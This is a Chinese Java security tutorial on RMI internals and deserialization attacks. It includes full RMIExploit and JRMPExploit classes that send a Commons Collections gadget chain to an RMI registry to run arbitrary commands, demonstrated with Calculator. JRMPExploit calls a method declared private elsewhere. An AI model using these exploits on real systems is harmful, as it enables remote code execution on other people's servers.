1.RMI 是什么
RMI(Remote Method Invocation)即Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信。 RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程方法的大致如下:
1.RMI客户端在调用远程方法时会先创建2.Stub(sun.rmi.registry.RegistryImpl_Stub)。 Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。 3.RemoteCall序列化RMI服务名称、Remote对象。 4.RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。 5.RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给6.Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。 7.Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。 Skeleton处理客户端请求:bind、list、lookup、rebind、unbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。 8.RMI客户端反序列化服务端结果,获取远程对象的引用。 9.RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。 10.RMI客户端反序列化RMI远程方法调用结果。 Back
2.RMI远程方法调用测试
第一步我们需要先启动RMI服务端,并注册服务。
RMI服务端注册服务代码:
package com.anbai.sec.rmi;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServerTest {
public static final String RMI_HOST = "127.0.0.1";
public static final int RMI_PORT = 9527;
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(RMI_PORT);
Naming.bind(RMI_NAME, new RMITestImpl());
System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}
}
程序运行结果:
copyRMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test
Naming.bind(RMI_NAME, new RMITestImpl())绑定的是服务端的一个类实例,RMI客户端需要有这个实例的接口代码(RMITestInterface.java),RMI客户端调用服务器端的RMI服务时会返回这个服务所绑定的对象引用,RMI客户端可以通过该引用对象调用远程的服务实现类的方法并获取方法执行结果。
RMITestInterface示例代码:
package com.anbai.sec.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RMITestInterface extends Remote {
String test() throws RemoteException;
}
这个区别于普通的接口调用,这个接口在RMI客户端中没有实现代码,接口的实现代码在RMI服务端。
服务端RMITestInterface实现代码示例代码:
package com.anbai.sec.rmi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {
private static final long serialVersionUID = 1L;
protected RMITestImpl() throws RemoteException {
super();
}
@Override
public String test() throws RemoteException {
return "Hello RMI~";
}
}
RMI客户端示例代码:
package com.anbai.sec.rmi;
import java.rmi.Naming;
import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
public class RMIClientTest {
public static void main(String[] args) {
try {
RMITestInterface rt = (RMITestInterface) Naming.lookup(RMI_NAME);
String result = rt.test();
System.out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
}
}
程序运行结果:
copyHello RMI~
3. RMI反序列化漏洞
RMI通信中所有的对象都是通过Java序列化传输的,在学习Java序列化机制的时候我们讲到只要有Java对象反序列化操作就有可能有漏洞。
既然RMI使用了反序列化机制来传输Remote对象,那么可以通过构建一个恶意的Remote对象,这个对象经过序列化后传输到服务器端,服务器端在反序列化时候就会触发反序列化漏洞。
首先我们依旧使用上述com.anbai.sec.rmi.RMIServerTest的代码,创建一个RMI服务,然后我们来构建一个恶意的Remote对象并通过bind请求发送给服务端。
RMI客户端反序列化攻击示例代码:
package com.anbai.sec.rmi;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.HashMap;
import java.util.Map;
import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
public class RMIExploit {
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
private static class TrustAllSSL implements X509TrustManager {
private static final X509Certificate[] ANY_CA = {};
public X509Certificate[] getAcceptedIssuers() {
return ANY_CA;
}
public void checkServerTrusted(final X509Certificate[] c, final String t) { }
public void checkClientTrusted(final X509Certificate[] c, final String t) { }
}
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
public Socket createSocket(String host, int port) throws IOException {
try {
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
SSLSocketFactory factory = ctx.getSocketFactory();
return factory.createSocket(host, port);
} catch (Exception e) {
throw new IOException(e);
}
}
}
private static InvocationHandler genPayload(String command) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
};
Transformer transformerChain = new ChainedTransformer(transformers);
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
final Map mapProxy2 = (Map) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler
);
return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);
}
public static void exploit(final Registry registry, final String command) throws Exception {
Object payload = genPayload(command);
String name = "test" + System.nanoTime();
Map<String, Object> map = new HashMap();
map.put(name, payload);
Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
Remote remote = (Remote) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
if (args.length == 0) {
args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
}
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[2];
Registry registry = LocateRegistry.getRegistry(host, port);
try {
String[] regs = registry.list();
for (String reg : regs) {
System.out.println("RMI:" + reg);
}
} catch (ConnectIOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
exploit(registry, command);
}
}
程序执行后将会在RMI服务端弹出计算器(仅Mac系统,Windows自行修改命令为calc),RMIExploit程序执行的流程大致如下:
使用LocateRegistry.getRegistry(host, port)创建一个RemoteStub对象。 构建一个适用于Apache Commons Collections的恶意反序列化对象(使用的是LazyMap+AnnotationInvocationHandler组合方式)。 使用RemoteStub调用RMI服务端的bind指令,并传入一个使用动态代理创建出来的Remote类型的恶意AnnotationInvocationHandler对象到RMI服务端。 RMI服务端接受到bind请求后会反序列化我们构建的恶意Remote对象从而触发Apache Commons Collections漏洞的RCE。
RMI客户端端bind序列化: 上图可以看到我们构建的恶意Remote对象会通过RemoteCall序列化然后通过RemoteRef发送到远程的RMI服务端。
RMI服务端bind反序列化: 具体的实现代码在:sun.rmi.registry.RegistryImpl_Skel类的dispatch方法,其中的$param_Remote_2就是我们RMIExploit传入的恶意Remote的序列化对象。
RMI-JRMP反序列化漏洞
JRMP接口的两种常见实现方式:
1.JRMP协议(Java Remote Message Protocol),RMI专用的Java远程消息交换协议。 2.IIOP协议(Internet Inter-ORB Protocol) ,基于 CORBA 实现的对象请求代理协议。
由于RMI数据通信大量的使用了Java的对象反序列化,所以在使用RMI客户端去攻击RMI服务端时需要特别小心,如果本地RMI客户端刚好符合反序列化攻击的利用条件,那么RMI服务端返回一个恶意的反序列化攻击包可能会导致我们被反向攻击。
我们可以通过和RMI服务端建立Socket连接并使用RMI的JRMP协议发送恶意的序列化包,RMI服务端在处理JRMP消息时会反序列化消息对象,从而实现RCE。
JRMP客户端反序列化攻击示例代码:
package com.anbai.sec.rmi;
import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
public class JRMPExploit {
public static void main(String[] args) throws IOException {
if (args.length == 0) {
args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
}
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[2];
Socket socket = null;
OutputStream out = null;
try {
Object payloadObject = RMIExploit.genPayload(command);
socket = new Socket(host, port);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);
out = socket.getOutputStream();
DataOutputStream dos = new DataOutputStream(out);
ObjectOutputStream baos = new MarshalOutputStream(dos);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
baos.writeLong(2);
baos.writeInt(0);
baos.writeLong(0);
baos.writeShort(0);
baos.writeInt(1);
baos.writeLong(-669196253586618813L);
baos.writeObject(payloadObject);
dos.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (out != null) {
out.close();
}
if (socket != null) {
socket.close();
}
}
}
}
测试流程同上面的RMIExploit,这里不再赘述。
|